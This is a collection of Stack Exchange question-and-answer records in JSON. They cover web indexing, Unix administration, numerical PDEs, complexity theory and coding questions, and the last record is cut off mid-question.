{  "id": "_webmaster.84864"  , "question": "I have somewhere close to 500,000 user-uploaded images hosted on a Cloudfront CDN -- separate from our main host (exampledomain.com). Up until this point, few of them have been getting indexed at the default distribution URLs. Example:https://d7oxxxxxxx.cloudfront.net/images/example_directory/subdirectory/LG_example_filename.jpgSo I added a CNAME (alternate domain name) so that the URLs have now become:http://media.exampledomain.com/images/example_directory/subdirectory/LG_example_filename.jpgAnd I added media.exampledomain.com as a verified domain in Google Search Console.I also have a dynamic sitemap hosted on exampledomain.com that lists all of the images I would want to get indexed -- one image per page (there are probably close to 240,000 pages altogether). Example:<url><loc>http://www.exampledomain.com/directory/pagename</loc><changefreq>daily</changefreq><image:image><image:loc>http://media.exampledomain.com/images/exampledirectory/subdirectory/LG_filname.jpg</image:loc><image:title>Example Image Title</image:title><image:caption>Example Image Caption</image:caption></image:image></url>According to what I've read, this should get Google to start indexing all of the images. However, I do not want to potentially wait a whole week to find out that there is something else I may not have done or that something else may be blocking the images from being indexed. The Cloudfront URLs are all fully public as far as I can tell and there aren't any robots.txt restrictions in place on the CDN. I only have one Cloudfront distribution currently active so I don't believe there should be any issues with duplicate content. Is there anything else I may need to account for or some way I can see in advance if it is going to work?Thanks for any help you can provide.UPDATE:I've been tracking this for a few days now. The Google bots have been crawling and indexing all of our site's pages at a nice swift rate (over 50,000 pages in a day!). However, there is still something up with the images. I see that there are over 160,000 images submitted in the sitemap and Google has crawled roughly 15,000 of them, but only 50 have actually been indexed. Does anyone have any ideas why Google may be having difficulty with these?Here is an example format for one of URLs. There is a 12-14 digit timestamp appended to the end of all of the files:http://media.exampledomain.com/images/category/id/LG_keywords_1442182082.5437.jpg"  , "title": "getting CDN images indexed with Google"  , "tags": "images;google index;cdn;cname;amazon cloudfront"  } 
{  "id": "_cstheory.5614"  , "question": "In a nutshell, the time hierarchy theorems say that a Turing machine can solve more problems if it has more time for computation. In detail for deterministic TM and time-constructable functions $f,g$ with $f(n) \\log f(n) = o(g(n))$ it is$$ DTIME(f(n)) \\subsetneq DTIME(g(n))$$and for nondeterministic TM and time-constructable functions $f,g$ with $f(n+1)=o(g(n))$ it is$$ NTIME(f(n)) \\subsetneq NTIME(g(n)).$$There are a lot of (old and current) results which use the time hierarchy theorems to prove lower bounds. Here are my questions:What happens if we can prove a betterresult for the deterministic or nondeterministic case?If we can prove that there is a gapbetween the deterministic timehierarchy and the nondeterministictime hierarchy, does this imply $P \\neq    NP$?"  , "title": "What happens if we improve the time hierarchy theorems?"  , "tags": "cc.complexity theory;lower bounds;big picture;time complexity;time hierarchy"  } 
{  "id": "_unix.118712"  , "question": "In Ubuntu, when I am up in / folder I type:sudo find . -name  .erlang.cookieand the result is:./var/lib/rabbitmq/.erlang.cookieThen, when I am on the folder /var/lib/rabbitmq and I type ls, I see one file named mnesia.When I type the find command again, I see ./.erlang.cookie-- what does that mean?"  , "title": "Why ls doesn't show the file that find discovered?"  , "tags": "find;ls"  , "accepted_answer": "In Unix, a filename beginning with a dot, like .erlang.cookie, is considered a hidden file and is not shown by bare ls. Type ls -a to also show hidden files.From man ls:   -a, --all          do not ignore entries starting with .However, you can show a hidden file with ls if you specify the name:$ ls .erlang.cookie.erlang.cookie"  } 
{  "id": "_unix.175540"  , "question": "I'd like to understand how Linux detects which display devices are available (video output) and how it decides what to display on each one.For example: if I have an embedded device with a serial line and an HDMI port, how do I make the console appear on the HDMI display instead of the serial console?Also, if I want to use a simple OpenGL application that's linked against video drivers, what interface would OpenGL use to draw on the HDMI port?Pointers to the proper documentation would be awesome."  , "title": "Where do I start to understand the display controller management?"  , "tags": "linux;displayport"  , "accepted_answer": "For most systems, handling which screen device to output to is dependent on the GPU or some other video display controller. All interfacing with the video device(s) on the system is handled by the Direct Rending Manager (DMS) and the closely related Kernel Mode Setting (KMS) kernel subsystems.From the Wikipedia page on the topic:In computing, the Direct Rendering Manager (DRM), a subsystem of the Linux kernel, interfaces with the GPUs of modern video cards. DRM exposes an API that user-space programs can use to send commands and data to the GPU, and to perform operations such as configuring the mode setting of the display. DRM was first developed as the kernel space component of the X Server's Direct Rendering Infrastructure, but since then it has been used by other graphic stack alternatives such as Wayland.User-space programs can use the DRM API to command the GPU to do hardware-accelerated 3D rendering and video decoding as well as GPGPU computing.The official Linux docs can be found in the source repository under Documentation/gpu. Here is the github link, for your convenience.Additionally, the Wikipedia article seems quite extensive. Depending on your goals, this resource alone might be sufficient, and it is certainly easier and less technical reading than the official documentation is."  } 
{  "id": "_cs.76102"  , "question": "what is the height of avl tree with n nodes ? Can you explain it with formula ? I couldn't find any formula to solve this problem."  , "title": "What is the height of avl tree with n nodes"  , "tags": "trees"  } 
{  "id": "_unix.321550"  , "question": "I tried to install OpenSuse Tumbleweed, but one of the main problems was that the WLAN card (centrino 6230) was completely disabled during the setup, something which did not happen with Ubuntu(-derivatives) and Windows. In the boot text it tells me it did not find a driver for it. How can I fix that, if the WLAN card is my onliest access to the internet?"  , "title": "OpenSuse Tumbleweed does not find my WLAN card"  , "tags": "opensuse;wlan"  } 
{  "id": "_softwareengineering.215682"  , "question": "I know the basics but do not how to model this (it is an exercise with no solution provided):An order can contain 1 or more cartons of beer. Each carton contains 6  beers of the same kind but there are some consisting of 3 different  beer types (still 6 in total)Also having a Carton class, how can I make it the way it either 6 beers (same ones) OR 6 beers of 3 various types?"  , "title": "How to draw a class diagram where a class contains either 6 other classes or mupltie different"  , "tags": "diagrams;class diagram"  } 
{  "id": "_webmaster.28903"  , "question": "Only for websites, not webapps.There are not many computers left with 1024x786, so why still support it?"  , "title": "Should I still support a screen resolution of 1024x786 or can I ignore it and support 1280x720 and higher?"  , "tags": "web development;website design;screen size;resolution"  , "accepted_answer": "That entirely depends on your user base, for a commercial site I work on 1024x768 represents 9.49% (166,453) of our visitors, we will continue to support that for some time.The flip side to that, a hobby project that I work on has a different audience and I don't support 1024x768 as it only represents about 2%.Check your existing stats and use that to make the decision. Failing that create a responsive layout and stop worrying about the resolution."  } 
{  "id": "_unix.375640"  , "question": "I've just changed a filesystem label:btrfs filesystem label / rootfsWhen I run lsblk -f, I still see the old label.What do I need to do to refresh the filesystem information?"  , "title": "lsblk -f shows old filesystem label"  , "tags": "btrfs;lsblk"  } 
{  "id": "_vi.10234"  , "question": "So, I installed the Airline plugin which is working quite nicely. But, I'd like it a bit sweeter. So I went to Powerline.I installed patched fonts from https://github.com/powerline/fonts/tree/master/Hack and modified my .vimrc like soBut, as you can see, it doesn't seem to work correctly... Is it a font issue or is it something else?"  , "title": "Powerline fonts not working on Airline"  , "tags": "plugin vim airline;plugin powerline"  } 
{  "id": "_softwareengineering.267218"  , "question": "So, I should really know this stuff already, but I am starting to learn more about the lower levels of software development. I am currently reading Computer Systems: A Programmer's Perspective. by Bryant O'Hallaron.   I am on chapter 2 and he is talking about the way data is represented internally. I am having trouble understanding something conceptually and I am sure that I'm about to make my ignorance lucid here.I understand that a word is just a set of bytes and that the word size is just how many bits wide the system bus is. But, he also says: the most important system parameter determined by the word size is the maximum size of the virtual address space. That is, for a machine with a w-bit word size, the virtual addresses can range from 0 to (2^w)-1, giving the program access to at most 2^w bytesI am both confused on the general relationship between the word size and the amount of addresses in the system and how the specific formula is w-bit word size=2^w bytes of memory available.I am really scratching my head here, can some one help me out?EDIT: I actually misinterpreted his definition of a word and consequently the definition of word size. What he really said was: Busses are typically designed to transfer fixed-sized chunks of bytes  known as words. The number of bytes in a word (the word size) is a  fundamental system parameter that varies across systems. most machines  today have word sizes of either 4 bytes(32 bits) or 8 bytes(64 bits).  For the sake of our discussion here, we will assume a word size of 4  bytes, and we will assume that buses transfer only one word at a  time.which is pretty much a catch-all for the cases discussed in the answers without having to go into detail. He also said he would be oversimplifying some things, perhaps in later sections he will go into more detail."  , "title": "How does word size affect the amount of virtual address space available?"  , "tags": "word;bit"  , "accepted_answer": "The idea is that one word of memory can be used as an address in the address space (i.e., a word is wide enough to hold a pointer). If an address were larger than a word, addressing would require multiple sequential words. That's not impossible, but is unreasonably complicated (and likely slow).So, given an w-bit word, how many values can that word represent? How may addresses can it denote? Since any bit can take on two values, we end up with 2222 = 2w addresses. Addresses are counted starting by zero, so the highest address is 2w - 1.Example using a three-bit word: There are 23=8 possible addresses:bin: 000 001 010 011 100 101 110 111dec:   0   1   2   3   4   5   6   7The highest address is 23-1 = 8 - 1 = 7. If the memory is an array of bytes and the address is an index to this array, then using a three-bit word we can only address eight bytes. Even if the array physically holds more bytes, we cannot reach them with a restricted index. Therefore, the amount of virtual memory is restricted by the word size."  } 
{  "id": "_webmaster.24380"  , "question": "My VPS is giving me the option between running PHP as an Apache Module or a FastCGI.How should one make this decision? Performance? Security? Ease of use? Compatibility?I'm using PLESK."  , "title": "What are the pros and cons of running PHP as an Apache module or a FastCGI?"  , "tags": "php;apache;vps;plesk"  } 
{  "id": "_codereview.51321"  , "question": "As a test of my C# skills, I have been asked to create a simple web service which will take a message from a queue table in a SQL database and send it to a web application when a button is pressed on the application.  I have never written a web service before so I am going in a little blind here so was after some advise on whether I had done this correct or not.The stored procedure usp_dequeueTestProject gets a value from the top of the list in a table and then deletes the row in that table.  At the moment I do not have this being archived anywhere, would it be better practice to instead of delete this, to just mark it as sent instead?[WebService(Namespace = http://tempuri.org/)][WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)][System.ComponentModel.ToolboxItem(false)]// To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line. // [System.Web.Script.Services.ScriptService]public class Service1 : System.Web.Services.WebService{    [WebMethod]    public string GetDataLINQ()    {        try        {            TestProjectLinqSQLDataContext dc = new TestProjectLinqSQLDataContext();            var command = dc.usp_dequeueTestProject();            string value = command.Select(c => c.Command).SingleOrDefault();            return value;        }        catch (Exception ex)        {            return ex.ToString();        }    }}I've opted for using LINQ for starters, I am not sure if this is the best way to do it or not?  I am only passing through the one string as well... In reality I guess you would normally want to send more than one field, such as datetime sent, message type etc, but wasn't sure what data type to use for this? I have seen this done using a Strut, but wasn't sure if this was correct?  Any guidance would be greatly appreciated."  , "title": "Web service getting value using LINQ from queue table in SQL database"  , "tags": "c#;beginner;linq;asp.net;web services"  , "accepted_answer": "A Linq-to-SQL DataContext is an IDisposable, your code isn't calling its Dispose() method. Wrap it in a using block to ensure proper disposal.I would use var in the TestProjectLinqSQLDataContext instantiation as well, but that's just personal preference. I find Foo bar = new Foo() redundant.Using SingleOrDefault assumes that the SP is returning only 1 record. That very well be the case now, but the SP being outside of the code, I wouldn't make that assumption. Use FirstOrDefault to grab only the first record - this way the day the SP is modified to return more than 1 row, your code won't break.Something like this:string result;using (var dc = new TestProjectLinqSQLDataContext()){    var command = dc.usp_dequeueTestProject();    result = command.Select(c => c.Command).FirstOrDefault();}return result;I agree with @Jesse's comment about exceptions usage: the calling code has no way of easily telling a valid response from an error message (exception type, message and stack trace), since your code returns a string in every case.Let it blow up!"  } 
{  "id": "_softwareengineering.112162"  , "question": "Two things I've noticed in the past week that make me wonder:An interview where my Perl skills were reviewed. I always use C-style for loops and use map about once in every 10,000 lines of code, so I almost always have to reference it before using it. While I can interpret others code using that, it's not my style and that is for reasons involving readability and ease of changing between languages. I at least perceived that I was dinged for that.This answer to my question in which the answerer proceeded to refactor and bullet-proof my tiny script. I admit I was a little bit offended and kind of annoyed at that, though I can understand how that as a habit may be helpful.I understand that in a team, my style will need to adapt what the team has decided is correct -- this is necessary in every project and everybody has their own ideas. Yet I feel like I'm judged for what is syntactically fine and readable code.How much does the style of your smaller snippet code weigh in? Does code like that imply to others that I don't have control of the language because I didn't use all the features? Does my code imply that I'm not familiar with unit testing and proper testing because I didn't fully error-protect a tiny script?"  , "title": "How much does/should your style imply about your skill in a language?"  , "tags": "interview;coding style"  } 
{  "id": "_unix.80099"  , "question": "High, I need to test my arbitrary precision calculator, and bc seems like a nice yardstick to compare to, however, bc does truncate the result of each multiplication to what seems to be the maximum scale of the involved operands each.Is there a quick way to turn this off or to automatically set the scale of each multiplication to the sum of scales of the factors so that it doesn't lose any precision?If you have a more elegant solution to this involving something other than bc, I would appreciate your sharing it.Example:$ bc <<< '1.5 * 1.5'2.2The real answer is 2.25."  , "title": "BCautomatic full precision multiplication"  , "tags": "bc;calculator"  , "accepted_answer": "You can control the scale that bc outputs with the scale=<#> argument.$ echo scale=10; 5.1234 * 5.5678 | bc28.52606652$ echo scale=5; 5.1234 * 5.5678 | bc28.52606Using your example:$ bc <<< 'scale=2; 1.5 * 1.5'2.25You can also use the -l switch (thanks to @manatwork) which will initialize the scale to 20 instead of the default of 0. For example:$ bc -l <<< '1.5 * 1.5'2.25$ bc -l <<< '1.52 * 1.52'2.3104You can read more about scale in the bc man page."  } 
{  "id": "_unix.279938"  , "question": "I have successfully installed Windows 10 on a 3-disk (hardware) RAID 0 setup, in a 150GB NTFS partition. As part of that, and because I booted my installation media in UEFI mode, the Windows installer created an EFI partition. The disks in the raid group all have a GPT partition table. I'm attempting to install Fedora 23 (in UEFI mode) in order to dual boot. In following various guides, it looks like all I need to do is mount the existing EFI System Partition (created by Windows) at /boot/efi, create my other partitions as desired, and everything should work.Unfortunately, it doesn't look like the F23 installer is recognizing the EFI partition created by Windows as a valid option. When hitting DONE to apply my partition changes, I get an Error checking storage configuration. Clicking the link for more details reads as such:No valid boot loader target device found. See below for details.For a UEFI installation, you must include an EFI System Partitionon a GPT-formatted disk, mounted at /boot/efi.However, the disk meets those requirements. The relevant output of sudo parted -l reads:$ sudo parted -lPartition Table: gptNumber  Start    End    Size    File system    Name                 Flags2       473MB    578MB  105MB   fat32          EFI system partition boot, espI have disabled Windows' fast boot via the Power Management control panel.Any help or pointers in the right direction would be greatly appreciated; I'm tired of programming on my old, slow laptop and would love to utilize my desktop's resources.Update #1After reading through this bug report this morning, I think I may have found my issue. When installing Windows 10, it creates a 450MB recovery partition containing WinRE, the Windows Recovery Environment -- this is the first partition on the RAID0 volume, the ESP is second. I've got to go into the office now, but will update this post if I find a resolution tonight.Specifically, I believe comment #59 on that issue may be the solution I'm looking for."  , "title": "Installing Fedora 23 alongside Windows 10; EFI partition not valid"  , "tags": "fedora;windows;dual boot;uefi"  , "accepted_answer": "A solutionSo it looks like I have found a working solution given my particular environment.I'll first describe my goals and environment, and then give step-by-step instructions. GoalsSide-by-side installation Fedora 23 and Windows 10 in UEFI mode. EnvironmentOne hardware-based RAID0 volume, formatted using a GPT partition table. (Let's call this group r0)Two separate 1TB internal hard disk drives, (sdd and sde)Two bootable USBs containing the latest release of F23 as of this post, and Windows 10 (created using the windows media creation tool)A motherboard capable of booting said installation media in UEFI mode. StepsInsert installation media for F23. Boot in UEFI mode and select install to hard drive. When selecting the disks, I chose r0 and sdd, and then chose I will configure partitioning.  Change the new partition type from the default (LVM) to Standard Partition. Create your partitions. After creating each partition, check the settings and ensure that the partition is only on your desired drive. Note that the sizes below are what I chose to use -- your partition sizes may differ based on needs and availability. I created the following partitions, in order:/boot/efi, 500MB, on r0, as an EFI System Partition/, 50GB, on r0, ext4/var, 20GB, on r0, ext4/home, size left blank, on sdd, ext4 (after creation I reduced the partition size by 4GB)swap, 4GB, on sddClick Done. At this point, you will receive a warning saying that no valid boot loader was found. Press Done again to bypass it. Click Select disks again. Select the same disk(s). At the bottom of the window, click Full summary. In the window that pops up, select the boot drive (the drive with the ESP partition mounted at /boot/efi). Click remove boot flag, and then click add boot flag. Click done. You'll be at the partitioning screen again. Click done and accept the changes. Voila! You can now install Fedora. Continue with the installation - it should be pretty straightforward from here on. To install Windows 10, I simply inserted my installation media (after installing and updating Fedora) and when through the install process. When given the option, choose Custom Install. Choose the boot drive (r0 in my case), and add a new partition to it - I went with 150GB. Windows popped up with its normal we might create additional partitions alert -- hit okay. At this point, I also chose to format sde so that I could see my internal HDD when I booted into Windows. Complete the installation process. Wonderfully, you'll notice that Windows has not overridden your efi partition but simply added to it -- unfortunately, we aren't done yet. Restart and enter your F23 desktop. At this point, you'll have noticed that we didn't have Windows as an option in the GRUB menu. To fix that, we need to create a new menu entry in /etc/grub.d/40_custom:menuentry Microsoft Windows 10 UEFI-GPT {        insmod part_gpt        insmod fat        insmod search_fs_uuid        insmod chain        search --fs-uuid --set=root --hint-efi=hd0,gpt1 DEVICE_ID        chainloader /EFI/Microsoft/Boot/bootmgfw.efi}After saving the file, you'll need to regenerate you grub config. Run grub2-mkconfig -o /boot/efi/EFI/fedora/grub.cfg and voila! You are done!"  } 
{  "id": "_scicomp.24351"  , "question": "Looking at the plain heat equation $u_t=u_{xx}$ the explicit scheme for it would look like the following iteration:$$u_{m,n+1}=\\rho u_{m-1,n}+(1-2\\rho)u_{m,n}+\\rho u_{m+1,n}$$I noticed this equation resembles some probability equation: basically If I look at it as:$$u_{m,n+1}=p_1 u_{m-1,n}+p_2u_{m,n}+p_3u_{m+1,n}$$I notice $p_1+p_2+p_3=1$ and if I restrict those numbers to be between $[0,1]$ if as in case of probabilities it matches the stability criteria. Is there some sort of connection between probability and FDM here? It looks to me as $u_{m,n+1}$ is some sort of expectations but I can't make my argument complete so I would appreciate some help on that."  , "title": "explicit scheme stability restriction"  , "tags": "parabolic pde"  } 
{  "id": "_unix.198145"  , "question": "I am trying to improve the kernel boot time of my device and I would like some help. I am using OMAPL138 with kernel version 2.6.37 and it takes about 50 seconds until the boot process is finished, and I think it is a long time. Below is the image of some stages of the boot process. As you can see, there is a delay of 19 seconds until the message EMAC: MII PHY CONFIGURED shows up and I think this is the main problem of my boot time.After some tests I discovered that this delay is during the unpacking of the initramfs.cpio.lzma . I discovered it by printing some messages in the initramfs.c file, and this delay happens in the while loop inside the unpack_to_rootfs function. The initramfs.cpio.lzma has 5.3MB and the total kernel image (uImage) has 7.3MB .My question is: Am I doing something wrong or the only way to improve this is by reducing the size of my kernel? Maybe some of you had to deal with this problem before so I would like some suggestions on how to proceed to improve my boot time. Thank you very much."  , "title": "Unpacking of initramfs is very slow"  , "tags": "boot;time;initramfs"  } 
{  "id": "_scicomp.21612"  , "question": "I'm trying to solve a 1D Poisson equation with pure Neumann boundary conditions. I've found many discussions of this problem, e.g.1) Poisson equation with Neumann boundary conditions2) Writing the Poisson equation finite-difference matrix with Neumann boundary conditions3) Discrete Poisson Equation with Pure Neumann Boundary Conditions4) Finite differences and Neumann boundary conditionsAnd many more.Some of the answers seem unsatisfactory though. For example, the answer in 2) contains a document that explains how the matrix $A$ changes when applying Neumann boundary conditions, but does not explain how to solve the singular system. The comment left in 2) by @Evgeni Sergeev is a reference to a problem with mixed boundary conditions, and not pure Neumann boundary conditions.That said, there are some useful things I've found. I do like the second comment given in the 1) by @Sumedh Joshi. It suggests to subtract the mean from the RHS. Other references I've read suggest using Dirichlet BCs at one location in the computational domain which should result in a unique solution, however, I prefer removing the mean since this seams more elegant.The problem setup is:$\\frac{\\partial^2 u}{\\partial x^2} = f, \\qquad f = -(2\\pi)^2 cos(2\\pi x), \\qquad 0 \\le x\\le 1, \\qquad \\left(\\frac{\\partial u}{\\partial x}\\right)_{0} = 0, \\qquad \\left(\\frac{\\partial u}{\\partial x}\\right)_{1} = 0$I have ghost points in my computational domain, so my matrix $A$ has some extra zeros (I remove them later). Using central differences everywhere in the computational domain, matrix $A$ takes the following form:$A = \\frac{1}{\\Delta x^2}\\left[\\begin{array}{ccccccccc}0  & 0     & 0         &           &           &           &           &         &    \\\\1  & -2    & 1         &           &           &           &           &         &    \\\\0  & 1     & -2        & 1         &           &           &           &         &    \\\\   &       &           & \\ddots    & \\ddots    & \\ddots    &           &         &    \\\\   &       &           &           &           & 1         & -2        & 1       &  0 \\\\   &       &           &           &           &           &  1        & -2      &  1 \\\\0  &       &           &           &           &           &  0        & 0       &  0 \\\\\\end{array}\\right]$Once applying the ghost points and adjusting the matrix $A$, I end up with$A = \\frac{1}{\\Delta x^2}\\left[\\begin{array}{ccccccccc}0  & 0     & 0         &           &           &           &           &         &    \\\\0  & -2    & 2         &           &           &           &           &         &    \\\\0  & 1     & -2        & 1         &           &           &           &         &    \\\\   &       &           & \\ddots    & \\ddots    & \\ddots    &           &         &    \\\\   &       &           &           &           & 1         & -2        & 1       &  0 \\\\   &       &           &           &           &           &  2        & -2      &  0 \\\\0  &       &           &           &           &           &  0        & 0       &  0 \\\\\\end{array}\\right]$Correspondingly, the RHS has changed to$\\frac{- 2u_b + 2u_i}{\\Delta x^2} = f_b - \\frac{-2\\theta \\Delta x}{\\Delta x^2}$Where $u_b,u_i,f_b,\\theta$ are the $u$ at the boundary, $u$ at the first interior point, $f$ at the boundary and the slope of the solution at the boundary (zero in this case) respectively. The interior of this matrix is the same as the one discussed in the document given in the accepted answer in 2).Here I show the setup and results of a small MATLAB script where I print out $A, f, mean(f)$ and the (attempted) solution $u$ using MATLAB's backslash operator.   A =   -100.0000  100.0000         0         0         0         0         0         0         0         0         0    100.0000 -200.0000  100.0000         0         0         0         0         0         0         0         0           0  100.0000 -200.0000  100.0000         0         0         0         0         0         0         0           0         0  100.0000 -200.0000  100.0000         0         0         0         0         0         0           0         0         0  100.0000 -200.0000  100.0000         0         0         0         0         0           0         0         0         0  100.0000 -200.0000  100.0000         0         0         0         0           0         0         0         0         0  100.0000 -200.0000  100.0000         0         0         0           0         0         0         0         0         0  100.0000 -200.0000  100.0000         0         0           0         0         0         0         0         0         0  100.0000 -200.0000  100.0000         0           0         0         0         0         0         0         0         0  100.0000 -200.0000  100.0000           0         0         0         0         0         0         0         0         0  100.0000 -100.0000  F =    -19.7392    -31.9387    -12.1995     12.1995     31.9387     39.4784     31.9387     12.1995    -12.1995    -31.9387    -19.7392  meanF =   -9.6892e-016  Warning: Matrix is singular to working precision.  > In main at 121  u =     NaN     NaN     NaN     NaN     NaN     NaN     NaN     NaN     NaN    -Inf    -InfMy question is why is this not working? I thought that removing the mean of the RHS would work as suggested in @Sumedh Joshi's comment. Any help is greatly appreciated.UPDATE:I found out that this same exact problem setup works perfectly fine for 12 unknowns (and 15 and much larger, e.g. 100), but does not work for 10 unknowns (as posted). So I suppose that the problem is setup correctly. This still begs the question though, what is going on here? It seems that this may be more of a question regarding numerical analysis.Here are the matlab results for 12 unknowns: A = 0         0         0         0         0         0         0         0         0         0         0         0         0         0         0 0   -1.0    1.0         0         0         0         0         0         0         0         0         0         0         0         0 0    1.0   -2.0    1.0         0         0         0         0         0         0         0         0         0         0         0 0         0    1.0   -2.0    1.0         0         0         0         0         0         0         0         0         0         0 0         0         0    1.0   -2.0    1.0         0         0         0         0         0         0         0         0         0 0         0         0         0    1.0   -2.0    1.0         0         0         0         0         0         0         0         0 0         0         0         0         0    1.0   -2.0    1.0         0         0         0         0         0         0         0 0         0         0         0         0         0    1.0   -2.0    1.0         0         0         0         0         0         0 0         0         0         0         0         0         0    1.0   -2.0    1.0         0         0         0         0         0 0         0         0         0         0         0         0         0    1.0   -2.0    1.0         0         0         0         0 0         0         0         0         0         0         0         0         0    1.0   -2.0    1.0         0         0         0 0         0         0         0         0         0         0         0         0         0    1.0   -2.0    1.0         0         0 0         0         0         0         0         0         0         0         0         0         0    1.0   -2.0    1.0         0 0         0         0         0         0         0         0         0         0         0         0         0    1.0   -1.0         0 0         0         0         0         0         0         0         0         0         0         0         0         0         0         0 f =        0 -19.7392 -34.1893 -19.7392  -0.0000  19.7392  34.1893  39.4784  34.1893  19.7392   0.0000 -19.7392 -34.1893 -19.7392        0 mean(f) ans = -9.4739e-016 A(2:end-1,2:end-1)\\f(2:end-1) ans =  0.9167  0.7796  0.4051 -0.1065 -0.6181 -0.9926 -1.1297 -0.9926 -0.6181 -0.1065  0.4051  0.7796  0.9167"  , "title": "Poisson equation finite-difference with pure Neumann boundary conditions"  , "tags": "finite difference;boundary conditions;poisson"  } 
{  "id": "_webmaster.27938"  , "question": "Im working on a community platform writen in PHP, MySQL.I have some questions about the server usage maybe someone can help me out.The community is based on JQuery with many ajax requests to update content.It makes 5 - 10 AJAX(Json, GET, POST) requests every 5 seconds, the requests fetch user data like user notifications and messages by doing mySQL queries.I wonder how a server will handle this when there are for more than 5000 users online.Then it will be 50.000 requests every 5 seconds, what kind of server you need to handle this?Or maybe even more, when there are 15.000 users online,  150.000 requests every 5 seconds. My webserver have the following specs.Xeon Quad 2048MB5000GB trafficWill it be good enough, and for how many users?Anyone can help me out or know where to find such information, like make a calculation?"  , "title": "Question about server usage, big community platform"  , "tags": "web hosting;usage data"  } 
{  "id": "_unix.284665"  , "question": "Actually I start x11vnc in /home/odroid/.config/lxsession/LXDE/autostart with@/bin/x11vnc -bg -forever -shared -rfbauth /home/odroid/.vnc-passwd -noxdamage -norc -noxrecord -capslock -no6 -rfbport 5900Autologin on startup is ok and it works well.But I log rarely in graphics mode.I want it to work like sshd.socket (vs sshd.service)Do you have an idea or line of research?"  , "title": "How to start x11vnc by socket (ie only when needed)"  , "tags": "arch linux;x11;systemd;vnc"  } 
{  "id": "_unix.234084"  , "question": "I have some code that kills processes and their children/grandchildren. I want to test this code. Currently I'm doing $ watch date > date.txt, which creates a process with a child. Is there any way to create a parent -> child -> grandchild tree? What  command can make that happen?"  , "title": "How to create a process tree?"  , "tags": "linux;command line;process;command"  , "accepted_answer": "#!/bin/sh#This is a process with an id of $$( sleep 1000 )&               #this creates an idle child( (sleep 1000)& sleep 1000 )& #this creates an idle child and grandchildwait                          #this waits for direct children to finishRunning the above as ./1.sh & on my system created the following process tree:$ command ps -o pid,ppid,pgrp,stat,args,wchan --forest  PID  PPID  PGRP STAT COMMAND                     WCHAN24949  4783 24949 Ss   /bin/bash                   wait25153 24949 25153 S     \\_ /bin/sh ./1.sh          sigsuspend25155 25153 25153 S     |   \\_ sleep 1000          hrtimer_nanosleep25156 25153 25153 S     |   \\_ sleep 1000          hrtimer_nanosleep25158 25156 25153 S     |       \\_ sleep 1000      hrtimer_nanosleepYou can notice that the tree has the same process group (PGRP) of 25153, which is identical to the PID of the first process.The shell creates a process group whenever you start a new command in interactive mode (or with job control explicitly turned on).The PGRP mechanism allows the shell to send a signal to the whole process group at once without creating a race condition. This is used for job control, and when your script runs and a foreground job, for sending:(SIG)INTR  when the user presses C-C(SIG)QUIT  when the user presses C-\\(SIG)STP when the user presses C-ZYou can do the same by doing, for example:kill -INTR -25153 where INTR is the signal and 25153 is the process group you want to send the signal to. The - before the 25153 means you're targeting a PGRP id rather than a PID.In your case, the signal you should be sending is -TERM (request termination). Term is the default signal kill sends, however, you have to specify it explicitly if you're targeting a group rather than a PID.kill -TERM -25153If you want to kill the process group of the last background job you started, you can do:kill -TERM -$!"  } 
{  "id": "_cs.7013"  , "question": "I am interested in self-reducibility of Graph 3-Coloralibity problem.Definition of Graph 3-Coloralibity problem.Given an undirected graph $G$ does there exists a way to color the nodes red, green, and blue so that no adjacent nodes have the same color?Definition of self-reducibility.A language $L$ is self-reducible if a oracle turing machine TM $T$ exists such that $L=L(T^L)$ and for any input $x$ of length $n$, $T^L(x)$ queries the oracle for words of length at most $n-1$.I would like to show in very strict and formal way that Graph 3-colorability is self-reducible.Proof of self-reducibility of SAT can be used as example (self-reducibility of SAT).In my opinion, the general idea of proof of self-reducibility of Graph 3-colorability is different from proof of SAT self-reducibility in few aspects.SAT has two choices for every literal (true or false) and Graph 3-colorability has three choices (namely, red green blue).Choices of SAT literal are independent on each other and choices of colors of Graph 3 colorability are strictly dependent, any adjacent node must have different color, this property potentially could help to make less iteration among all colors.The general idea of proof.Let's denote by $c_{v_i}$  the color of the vertex $v_i$, which can take one of the following values (red,green,blue). Define graph $G'$ from a given graph $G$ by coloring the arbitrary vertex $v_0$, assign $c_{v_0}$ to 'red' and put the graph $G'$ with colored vertex $v_0$ to the input of the oracle. If oracle answers 1, which means that the modified graph is still 3-colorable, save the current assignments and start new iteration, with the different vertex $v_1$ chosen arbitrarily, color vertex $v_1$ according to the colors of the adjacent vertices.if oracle answers 0, which means the previous assignment has broken 3 colorability, pick different color from the set of three colors, but still according to colors of adjacent vertices.The previous proof is not mathematical robust, the question is how to improve it and to make it more formal and mathematical strict. It looks like I need more carefully distinguish the cases when new vertex doesn't have any edges with already colored vertices and when the new vertex is adjacent to already colored vertices. In addition I would like to prove that Graph 3-colorability is downward self-reducible.Definition of downward self-reducible language.The language $A$ is said to be downward self-reducible if it is possible to determine in polynomial time if $x \\in A$ using the results of shortest queries. The idea seems to be simple and intuitive: start with coloring an arbitrary vertex, and on each iteration add one more colored vertex and check by oracle if graph is still 3-colorable, if not reverse previous coloring and check another color.But how to write the proof in a strict way and more important  how to find an appropriate encoding of a graph.In short, I would like to show that Graph 3-colorability is self-reducible and downward self-reducible in strict and formal way.I will appreciate sharing your thoughts with us.Update:downward self-reducibilityDownward self-reducibility is applied to decision problem and it's oracle answers the same decision problem with shorter input, at the end of the process of downward self-reduction we should have the right color assignments.Every 3 - colorable graph $G$ with more than three vertices, has two vertices $x,y$ with the same color. Apparently, there is only three colors and more than three vertices so some number of non-adjacent vertices might have the same color. If we merge $x$ and $y$ with the same color as the result we still have 3 - colorable graph, just because, if graph is 3 - colorable, then there are exist right assignment of all vertices that are adjacent to $x$ and $y$ according to the same color of $x, y$, so by merging $x, y$ we don't need to change any color of any vertices, we only need to add more edges between already correctly colored vertices (I know it's not the best explanation, I will appreciate if someone could explain it better). On every iteration we take two non-adjacent vertices $x,y$ of graph $G$, merge $x$ and $y$ and get graph $G'$ which is our shorter input to the oracle. Oracle answers if it's 3-colorable or not. Now the problem is before setting $G'$ on the input of oracle I should color the merged vertex and test colorability of $G'$, if it's not 3-colorable change the color, but how to implement it correctly, I need right encoding for it.self-reducibilityFirst, we should check if a given graph $G$ is 3-colorable at all, so set it on input of oracle, and oracle will answer if it's 3 - colorable, if yes then start the process. Any two nonadjacent vertices can have the same color in 3-colorable graph. The process of self-reducibility we should run in iterations, I think we can start from small subgraph $G'$ of a given graph $G$ and 